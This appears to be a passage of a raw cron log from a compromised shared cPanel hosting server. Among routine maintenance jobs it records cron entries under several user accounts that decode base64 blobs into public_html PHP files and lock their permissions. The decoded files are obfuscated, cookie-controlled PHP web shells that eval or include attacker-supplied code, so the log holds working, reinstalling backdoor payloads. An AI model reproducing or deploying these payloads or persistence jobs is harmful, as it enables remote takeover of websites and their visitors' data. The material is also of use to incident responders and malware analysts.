IUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:19:01 medusa CROND[30504]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:19:01 medusa CROND[30505]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 10:19:01 medusa CROND[30507]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:19:01 medusa CROND[30512]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 10:20:01 medusa CROND[21011]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 10:20:01 medusa CROND[21016]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 10:20:01 medusa CROND[21020]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 10:20:02 medusa CROND[21074]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 10:20:02 medusa CROND[21164]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 10:20:02 medusa CROND[21165]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 10:20:02 medusa CROND[21167]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:20:02 medusa CROND[21168]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:20:02 medusa CROND[21169]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 10:20:02 medusa CROND[21170]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 10:20:02 medusa CROND[21171]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 10:20:02 medusa CROND[21172]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 10:20:02 medusa CROND[21173]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:20:02 medusa CROND[21175]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 10:20:02 medusa CROND[21183]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 10:20:02 medusa CROND[21185]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 10:20:02 medusa CROND[21174]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 10:20:02 medusa CROND[21187]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 10:20:02 medusa CROND[21188]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 10:20:02 medusa CROND[21166]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 10:20:02 medusa CROND[21194]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 10:20:02 medusa CROND[21198]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 10:20:02 medusa CROND[21199]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 10:20:02 medusa CROND[21206]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:20:02 medusa CROND[21203]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 10:20:02 medusa CROND[21202]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 10:20:02 medusa CROND[21200]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 10:20:02 medusa CROND[21201]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 10:20:02 medusa CROND[21197]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 10:20:02 medusa CROND[21195]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 10:21:02 medusa CROND[11279]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 10:21:02 medusa CROND[11280]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 10:21:02 medusa CROND[11281]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 10:21:02 medusa CROND[11282]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 10:21:02 medusa CROND[11284]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 10:21:02 medusa CROND[11283]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 10:21:02 medusa CROND[11288]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:21:02 medusa CROND[11292]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo 